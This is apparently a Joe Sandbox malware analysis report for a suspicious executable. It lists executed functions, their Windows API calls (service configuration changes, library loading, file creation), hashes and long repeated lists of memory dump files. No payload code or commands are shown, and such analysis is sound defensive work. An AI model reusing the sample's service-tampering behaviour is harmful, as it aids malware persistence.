Instruction ID: 4fca4ec8c8a38198cb05eca4fbb1aeb63a49fe03d83d01b3ff8efd5a899ca8f7
Opcode Fuzzy Hash: 2365868b169e8892d1f854f5f9e4a47ee8ae03d4106b15d0fd50ecf2e00f422d
Instruction Fuzzy Hash: CAE02D5645E7C15FD3438B349C262407F31AE57114B0E45CBC0D4CB5A3E6596A2ED762

Analysis Process: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exePID: 7916, Parent PID: 7444COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	38.7%
Signature Coverage:	25.8%
Total number of Nodes:	31
Total number of Limit Nodes:	0

Executed Functions

Function 055915D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 055918C8

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 92d6bf22ce68bd9504ebf52ef59804047786e5e357b63557e17c2606f6e8dd43
Instruction ID: dba9d8e4b6f0b0dfa155659c6023e69912680d4be3d8f61957b80988c45840d6
Opcode Fuzzy Hash: 92d6bf22ce68bd9504ebf52ef59804047786e5e357b63557e17c2606f6e8dd43
Instruction Fuzzy Hash: A8C13B71D00A6A9FDF14CFA8C9457AEBBF2FF45310F148629E855E7294DB788881CB81

Function 007ACBF5 Relevance: 1.6, APIs: 1, Instructions: 113
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 007ACBF5

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bd35657981312a39cfded4e371ebb5328d2848f24e6a26df98310fed9cddfbe0
Instruction ID: 47d027de2f275539ebe311895f34d21e0a822969445369d064ef2f67838c0d52
Opcode Fuzzy Hash: bd35657981312a39cfded4e371ebb5328d2848f24e6a26df98310fed9cddfbe0
Instruction Fuzzy Hash: 5C313EF210C604BFE701AF15ED80ABEFBE8EBC5720F22491DE6D982600D73554449B67

Function 0061B7AA Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0061B91A

Memory Dump Source

Source File: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: d4c61838067df13c4f4f9517e14af25b4ad2a972772f1ee29016b9aa97e23035
Instruction ID: 51ca5e4031825133df36b65a3b624f724f2e3b51a52b2fd338edc29fa3c96fd4
Opcode Fuzzy Hash: d4c61838067df13c4f4f9517e14af25b4ad2a972772f1ee29016b9aa97e23035
Instruction Fuzzy Hash: 27E0C2311044CD8BDF9AEF6489027E9361FDB42B01F282519FB018AF89CB2D1D529799

Function 007AED4C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Strings

C, xrefs: 007AF1CF

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 0148f509f4137a2be238f76e91d8cbd7e9944c2a978c3651823d4d72a97e40db
Instruction ID: 5546a65e85897b2025e4646ea777adc174171456878c8d34276dae3e44d059a9
Opcode Fuzzy Hash: 0148f509f4137a2be238f76e91d8cbd7e9944c2a978c3651823d4d72a97e40db
Instruction Fuzzy Hash: BA31D0B724810ABEE7249E949950BFF37ADEBCA730F30462AF805D7681D2691D059634

Function 007AEFAF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 007AEFBB

Strings

C, xrefs: 007AF1CF

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: ac04c70ce0c52dd59ff16e37cbe4f9707f0eb2a14eb1c3655227d6c036be7648
Instruction ID: f794729e216a1b3d8cc75a1bdab0a332adf32804318e778dbc4ce14843e8a4c5
Opcode Fuzzy Hash: ac04c70ce0c52dd59ff16e37cbe4f9707f0eb2a14eb1c3655227d6c036be7648
Instruction Fuzzy Hash: A511577640C18A9FC710DFA0C810B9F3B94EBCB310F24462AE846D7AC2C62D4D019725

Function 007AF11C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 007AF127

Strings

C, xrefs: 007AF1CF

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
